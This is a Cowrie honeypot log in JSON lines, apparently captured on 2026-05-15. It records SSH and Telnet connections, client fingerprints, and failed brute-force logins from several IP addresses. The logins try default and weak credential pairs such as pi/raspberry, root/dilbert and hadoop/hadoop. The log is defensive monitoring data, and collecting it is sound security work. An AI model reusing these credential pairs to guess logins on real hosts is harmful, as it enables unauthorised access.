{"eventid":"cowrie.session.connect","src_ip":"101.109.219.135","src_port":52908,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dd5bfd6bdd3","protocol":"ssh","message":"New connection: 101.109.219.135:52908 (10.17.0.5:22) [session: 5dd5bfd6bdd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:53.973717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:53.980097Z","src_ip":"101.109.219.135","session":"5dd5bfd6bdd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:54.234481Z","src_ip":"101.109.219.135","session":"5dd5bfd6bdd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":49878,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d58e9684e21","protocol":"ssh","message":"New connection: 43.153.46.75:49878 (159.203.135.109:22) [session: 5d58e9684e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:54.810169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:54.816811Z","src_ip":"43.153.46.75","session":"5d58e9684e21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:54.885966Z","src_ip":"43.153.46.75","session":"5d58e9684e21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dilbert","message":"login attempt [root/dilbert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:55.196995Z","src_ip":"43.153.46.75","session":"5d58e9684e21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:55.278404Z","src_ip":"101.109.219.135","session":"5dd5bfd6bdd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:56.269224Z","src_ip":"43.153.46.75","session":"5d58e9684e21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:56.534664Z","src_ip":"101.109.219.135","session":"5dd5bfd6bdd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":54876,"dst_ip":"10.17.0.5","dst_port":22,"session":"0906eafcae11","protocol":"ssh","message":"New connection: 43.163.119.215:54876 (10.17.0.5:22) [session: 0906eafcae11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:58.349731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:58.353872Z","src_ip":"43.163.119.215","session":"0906eafcae11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:58.591127Z","src_ip":"43.163.119.215","session":"0906eafcae11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:03:59.303555Z","src_ip":"43.163.119.215","session":"0906eafcae11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:00.543053Z","src_ip":"43.163.119.215","session":"0906eafcae11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":51818,"dst_ip":"159.203.135.109","dst_port":22,"session":"34f0ef66e825","protocol":"ssh","message":"New connection: 103.75.199.4:51818 (159.203.135.109:22) [session: 34f0ef66e825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:01.887580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:01.893404Z","src_ip":"103.75.199.4","session":"34f0ef66e825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:01.988479Z","src_ip":"103.75.199.4","session":"34f0ef66e825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:02.270700Z","src_ip":"103.75.199.4","session":"34f0ef66e825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:03.365165Z","src_ip":"103.75.199.4","session":"34f0ef66e825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":33736,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ed60ce68fc1","protocol":"ssh","message":"New connection: 43.163.119.215:33736 (10.17.0.5:22) [session: 0ed60ce68fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:10.765033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:10.769629Z","src_ip":"43.163.119.215","session":"0ed60ce68fc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:11.007034Z","src_ip":"43.163.119.215","session":"0ed60ce68fc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:11.720261Z","src_ip":"43.163.119.215","session":"0ed60ce68fc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:12.960340Z","src_ip":"43.163.119.215","session":"0ed60ce68fc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":36740,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4063b8be642","protocol":"ssh","message":"New connection: 67.102.183.113:36740 (10.17.0.5:22) [session: c4063b8be642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:14.891031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:14.896600Z","src_ip":"67.102.183.113","session":"c4063b8be642","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:14.972489Z","src_ip":"67.102.183.113","session":"c4063b8be642","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:15.285217Z","src_ip":"67.102.183.113","session":"c4063b8be642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00218224525452,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:15.820478Z","src_ip":"186.189.112.16","session":"7d400f9af6b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.189.112.16","src_port":57923,"dst_ip":"10.17.0.5","dst_port":23,"session":"215181035e2c","protocol":"telnet","message":"New connection: 186.189.112.16:57923 (10.17.0.5:23) [session: 215181035e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:16.086657Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:16.358243Z","src_ip":"67.102.183.113","session":"c4063b8be642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0019314289093,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:16.963791Z","src_ip":"186.189.112.16","session":"f5bfce4794bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.189.112.16","src_port":61103,"dst_ip":"10.17.0.5","dst_port":23,"session":"b825818686d0","protocol":"telnet","message":"New connection: 186.189.112.16:61103 (10.17.0.5:23) [session: b825818686d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:17.239008Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":60640,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffea22913d17","protocol":"ssh","message":"New connection: 43.163.119.215:60640 (10.17.0.5:22) [session: ffea22913d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:18.691119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:18.695487Z","src_ip":"43.163.119.215","session":"ffea22913d17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:18.932956Z","src_ip":"43.163.119.215","session":"ffea22913d17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00088787078857,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:19.233890Z","src_ip":"186.189.112.16","session":"51cc579d4bff","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:19.716111Z","src_ip":"43.163.119.215","session":"ffea22913d17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.189.112.16","src_port":58046,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f9322008dc9","protocol":"telnet","message":"New connection: 186.189.112.16:58046 (10.17.0.5:23) [session: 6f9322008dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:20.501295Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:20.955177Z","src_ip":"43.163.119.215","session":"ffea22913d17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":35694,"dst_ip":"159.203.135.109","dst_port":22,"session":"a733adcd2477","protocol":"ssh","message":"New connection: 103.75.199.4:35694 (159.203.135.109:22) [session: a733adcd2477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:23.796740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:23.801374Z","src_ip":"103.75.199.4","session":"a733adcd2477","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:23.892909Z","src_ip":"103.75.199.4","session":"a733adcd2477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:04:24.166810Z","src_ip":"103.75.199.4","session":"a733adcd2477","protocol":"ssh"}
